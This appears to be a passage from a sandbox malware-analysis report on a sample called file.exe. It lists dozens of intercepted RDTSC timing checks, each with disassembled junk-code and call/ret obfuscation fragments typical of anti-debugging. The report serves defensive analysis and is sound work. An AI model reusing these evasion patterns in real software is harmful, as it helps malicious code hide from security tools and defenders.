Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103ABE5 second address: 103AC02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B0B9 second address: 103B0BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B0BD second address: 103B0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4B2071E948h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jnl 00007F4B2071E946h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B0D8 second address: 103B0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B9BB second address: 103B9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104025C second address: 1040260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040260 second address: 1040266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042057 second address: 1042066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F4B20D90AC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1042066 second address: 1042075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 js 00007F4B2071E946h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10444DE second address: 10444FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046414 second address: 1046418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040B2B second address: 1040B48 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4B20D90AD1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10446EB second address: 10446EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10456DD second address: 10456E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10446EF second address: 10446F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046588 second address: 10465A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4B20D90ACCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jno 00007F4B20D90AC6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10493FB second address: 104945F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 and ebx, dword ptr [ebp+122D381Ah] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 jmp 00007F4B2071E958h 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov edi, dword ptr [ebp+122D38DEh] 0x00000027 mov eax, dword ptr [ebp+122D0301h] 0x0000002d xor ebx, 7651644Dh 0x00000033 push FFFFFFFFh 0x00000035 sub ebx, dword ptr [ebp+122D1B9Ch] 0x0000003b push eax 0x0000003c pushad 0x0000003d push esi 0x0000003e jmp 00007F4B2071E94Fh 0x00000043 pop esi 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B1A6 second address: 104B1AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A321 second address: 104A3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov edi, ecx 0x00000009 push dword ptr fs:[00000000h] 0x00000010 jnp 00007F4B2071E94Ch 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d adc bl, FFFFFF83h 0x00000020 mov eax, dword ptr [ebp+122D01E1h] 0x00000026 xor ebx, 5B8223A1h 0x0000002c xor dword ptr [ebp+122D1F19h], esi 0x00000032 push FFFFFFFFh 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F4B2071E948h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e jmp 00007F4B2071E952h 0x00000053 jbe 00007F4B2071E94Fh 0x00000059 pushad 0x0000005a mov cx, 8FE1h 0x0000005e movzx edi, di 0x00000061 popad 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 jmp 00007F4B2071E953h 0x0000006b push ecx 0x0000006c pop ecx 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046686 second address: 1046694 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046694 second address: 1046698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D140 second address: 104D144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D144 second address: 104D14A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E1EF second address: 104E283 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4B20D90AC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F4B20D90AD0h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F4B20D90AC8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D26E9h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F4B20D90AC8h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 mov edi, 7A467121h 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 jns 00007F4B20D90ACCh 0x0000005d jne 00007F4B20D90ACCh 0x00000063 popad 0x00000064 push eax 0x00000065 jc 00007F4B20D90AD4h 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F305 second address: 104F382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B2071E955h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e xor bx, 9D3Ch 0x00000013 push 00000000h 0x00000015 sub dword ptr [ebp+122D24BDh], edi 0x0000001b jnc 00007F4B2071E947h 0x00000021 stc 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007F4B2071E948h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e call 00007F4B2071E953h 0x00000043 or dword ptr [ebp+122D273Bh], eax 0x00000049 pop ebx 0x0000004a mov edi, dword ptr [ebp+122D201Dh] 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F382 second address: 104F38C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B20D90AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F38C second address: 104F396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4B2071E946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F396 second address: 104F39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105030D second address: 1050311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F4DB second address: 104F4E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F4E1 second address: 104F4EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4B2071E946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10512E8 second address: 10512EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105146C second address: 1051471 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1051554 second address: 105155A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105155A second address: 105155E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF21BA second address: FF21C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF21C1 second address: FF21D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Dh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AD33 second address: 105AD38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AD38 second address: 105AD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B031 second address: 105B036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FDB0 second address: 105FDBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4B2071E946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FDBA second address: 105FDBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FDBE second address: 105FDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FDCD second address: 105FDFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4B20D90AC6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F4B20D90ACAh 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a jo 00007F4B20D90ACCh 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3C55 second address: FF3C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3C59 second address: FF3C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10669F3 second address: 10669F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF8F0 second address: FFF8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1065809 second address: 1065818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F4B2071E94Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106633D second address: 106634C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F4B20D90AC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106634C second address: 1066352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066484 second address: 10664A0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4B20D90ACEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jne 00007F4B20D90AC6h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10664A0 second address: 10664A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10665E8 second address: 10665F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F4B20D90AC6h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10665F5 second address: 10665FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10665FB second address: 1066601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10668A7 second address: 10668B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4B2071E946h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10668B3 second address: 10668BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10668BE second address: 10668C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5787 second address: FF579F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF579F second address: FF57AC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B2071E948h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B0E9 second address: 106B0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B0F3 second address: 106B0F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B0F9 second address: 106B115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B20D90AD2h 0x00000009 jbe 00007F4B20D90AC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B3D6 second address: 106B420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jmp 00007F4B2071E955h 0x00000012 jmp 00007F4B2071E94Eh 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a push esi 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F4B2071E94Bh 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jo 00007F4B2071E946h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B420 second address: 106B424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B83C second address: 106B861 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F4B2071E948h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B861 second address: 106B868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B9A6 second address: 106B9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B9AA second address: 106B9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BE25 second address: 106BE51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E950h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007F4B2071E94Ah 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007F4B2071E946h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BE51 second address: 106BE65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106BE65 second address: 106BE6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070B8B second address: 1070B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070B93 second address: 1070B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070B97 second address: 1070BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD1h 0x00000007 jbe 00007F4B20D90AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4B20D90AD6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070BD0 second address: 1070BD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070BD8 second address: 1070BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1070BDE second address: 1070BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103827A second address: 1038280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038280 second address: 1038284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038389 second address: 103844A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], ebx 0x0000000a mov dx, 4AABh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c mov edi, dword ptr [ebp+122D37B2h] 0x00000022 or ecx, dword ptr [ebp+122D3766h] 0x00000028 mov dword ptr [ebp+1247D061h], esp 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F4B20D90AC8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 movsx edx, bx 0x0000004b cmp dword ptr [ebp+122D38D2h], 00000000h 0x00000052 jne 00007F4B20D90B81h 0x00000058 cmc 0x00000059 mov byte ptr [ebp+122D1BB0h], 00000047h 0x00000060 mov ecx, esi 0x00000062 mov eax, D49AA7D2h 0x00000067 push 00000000h 0x00000069 push eax 0x0000006a call 00007F4B20D90AC8h 0x0000006f pop eax 0x00000070 mov dword ptr [esp+04h], eax 0x00000074 add dword ptr [esp+04h], 00000017h 0x0000007c inc eax 0x0000007d push eax 0x0000007e ret 0x0000007f pop eax 0x00000080 ret 0x00000081 mov dword ptr [ebp+122D1FC0h], edi 0x00000087 nop 0x00000088 jmp 00007F4B20D90AD1h 0x0000008d push eax 0x0000008e push eax 0x0000008f push edx 0x00000090 jmp 00007F4B20D90AD6h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103844A second address: 103844F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10386C3 second address: 10386C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10387B6 second address: 10387C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jnl 00007F4B2071E946h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103898D second address: 1038993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038993 second address: 1038997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038A7B second address: 1038AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F4B20D90AC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4B20D90AD7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038AA4 second address: 1038AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1039621 second address: 1039625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
